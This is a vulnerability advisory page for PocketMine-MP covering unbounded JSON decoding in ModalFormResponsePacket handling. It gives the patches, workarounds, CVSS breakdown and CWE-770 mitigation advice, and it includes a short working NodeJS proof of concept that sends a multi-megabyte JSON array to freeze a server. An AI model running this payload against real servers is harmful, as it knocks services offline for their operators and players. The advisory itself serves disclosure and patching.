Skip to content

GHSA-788v-5pfp-93ff CVE-2026-86204

PocketMine-MP: JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling

Medium Packagist
Severity
0.0 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.44%
Chance of exploitation in the next 30 days. Higher than 37.86% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-770 Allocation of Resources Without Limits or Throttling
Fix
5.39.2
Upgrade pocketmine/pocketmine-mp to this version or later

Description

Impact

The server does not meaningfully limit the size of the JSON payload in ModalFormResponsePacket. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.

The player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.

Patches

The issue was fixed in two parts:

  • cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse
  • f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID

Workarounds

This issue can be worked around in a plugin using DataPacketReceiveEvent by:

  • checking the max size of the formData field
  • making sure the form ID is not repeated

However, a full workaround for the issue would require reflection to access the Player->forms property, which is not exposed via any accessible API prior to 5.39.2.

PoC

  1. Join a PocketMine-MP server as a regular player (no special permissions needed).

  2. Use a modified client or packet-sending script to send a ModalFormResponsePacket with:

    • Any non-existent formId
    • formData containing a massive JSON array (e.g., 10+ MB payload).
  3. The server will attempt to parse the JSON and may freeze or become unresponsive.

Example NodeJS pseudocode:

import { createClient } from 'bedrock-protocol';

const host = '127.0.0.1';
const port = 19132;
const username = 'Test';

const client = createClient({
  host,
  port,
  username,
  offline: true
});

const hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';

client.on('spawn', () => {
  console.log('[*] Connected & spawned. Sending malicious packet...');

  client.write('modal_form_response', {
    formId: 9999,       // Form inexistant
    formData: hugePayload // JSON énorme
  });

  console.log('[*] Packet sent. The server should start freezing shortly.');
});

Affected versions

Packagist

PackageVulnerableFixed in
pocketmine/pocketmine-mp
< 5.39.2
5.39.2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

pocketmine/pocketmine-mp Packagist → 5.39.2

composer
composer require pocketmine/pocketmine-mp:^5.39.2

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-770: Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

How to prevent it
  • Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
  • Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
  • Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-pg53-p7qp-65cv
PocketMine-MP has potential memory/network vulnerability from repeated ResourcePackClientResponsePacket packets
Low Also affects pocketmine/pocketmine-mp
GHSA-xp4f-g2cm-rhg7
PocketMine-MP has LogDoS by many junk properties in client data JWT in LoginPacket
Medium Also affects pocketmine/pocketmine-mp
GHSA-f9jp-856v-8642
PocketMine-MP: Player entities can still die and drop items in flaggedForDespawn state
Medium Also affects pocketmine/pocketmine-mp
GHSA-7hmv-4j2j-pp6f
PocketMine-MP: Network amplification vulnerability with `ActorEventPacket`
Medium Also affects pocketmine/pocketmine-mp
GHSA-h6rj-3m53-887h
PocketMine-MP: LogDoS by large complex unknown property logging in clientData in LoginPacket
High Also affects pocketmine/pocketmine-mp
GHSA-fqqv-56h5-f57g
PocketMine-MP `ResourcePackDataInfoPacket` amplification vulnerability due to lack of resource pack sequence status checking
Medium Also affects pocketmine/pocketmine-mp
GHSA-g274-c6jj-h78p
PocketMine-MP allows malicious client data to waste server resources due to lack of limits for explode()
Medium Also affects pocketmine/pocketmine-mp
GHSA-h6j3-j35f-v2x7
PocketMine-MP server crash with certain invalid JSON payloads in `LoginPacket` due to dependency vulnerability (3rd time)
High Also affects pocketmine/pocketmine-mp
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor